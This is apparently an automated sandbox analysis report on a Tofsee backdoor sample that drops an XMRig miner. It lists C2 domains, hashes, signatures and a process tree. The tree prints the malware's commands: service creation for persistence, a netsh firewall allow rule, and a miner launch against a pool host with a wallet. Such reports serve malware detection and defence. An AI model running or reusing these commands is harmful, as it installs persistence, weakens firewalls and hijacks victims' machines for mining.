Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2023, 09:07

General

  • Target
    file.exe
  • Size 195KB
  • Sample230122-k3bc6ahe2z
  • SHA256 c8e8fe2fb5a1939816438803d7cf4db514ffc819fe529de461715808eaba4e97
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ftyuzugt\
      2⤵
        PID:4352
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pwwablvg.exe" C:\Windows\SysWOW64\ftyuzugt\
        2⤵
          PID:4388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ftyuzugt binPath= "C:\Windows\SysWOW64\ftyuzugt\pwwablvg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ftyuzugt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ftyuzugt
          2⤵
          • Launches sc.exe
          PID:1360
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1032
          2⤵
          • Program crash
          PID:4924
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3228 -ip 3228
        1⤵
          PID:2904
        • C:\Windows\SysWOW64\ftyuzugt\pwwablvg.exe
          C:\Windows\SysWOW64\ftyuzugt\pwwablvg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:5052
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2340
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 184
            2⤵
            • Program crash
            PID:3368
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2208 -ip 2208
          1⤵
            PID:1616

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                pwwablvg.exe

                • Path C:\Users\Admin\AppData\Local\Temp\pwwablvg.exe
                • Size 11.9MB
                • SHA256 78c22dd767a69ffa42abb469440089b5fdd52cf38bcf019295a9a8e5c37750ad
                • MD5 SHA1 SHA512 SSDEEP

                pwwablvg.exe

                • Path C:\Windows\SysWOW64\ftyuzugt\pwwablvg.exe
                • Size 11.9MB
                • SHA256 78c22dd767a69ffa42abb469440089b5fdd52cf38bcf019295a9a8e5c37750ad
                • MD5 SHA1 SHA512 SSDEEP

                memory/2208-149-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/2208-148-0x0000000002E8A000-0x0000000002E9D000-memory.dmp

                memory/2340-176-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/2340-171-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/3228-134-0x0000000002C60000-0x0000000002C73000-memory.dmp

                memory/3228-143-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/3228-133-0x0000000002CA0000-0x0000000002CB3000-memory.dmp

                memory/3228-137-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/5052-145-0x0000000000950000-0x0000000000965000-memory.dmp

                memory/5052-152-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/5052-155-0x0000000001FC0000-0x0000000001FC6000-memory.dmp

                memory/5052-158-0x0000000001FD0000-0x0000000001FE0000-memory.dmp

                memory/5052-161-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

                memory/5052-164-0x0000000007700000-0x0000000007B0B000-memory.dmp

                memory/5052-167-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

                memory/5052-151-0x0000000000950000-0x0000000000965000-memory.dmp

                memory/5052-150-0x0000000000950000-0x0000000000965000-memory.dmp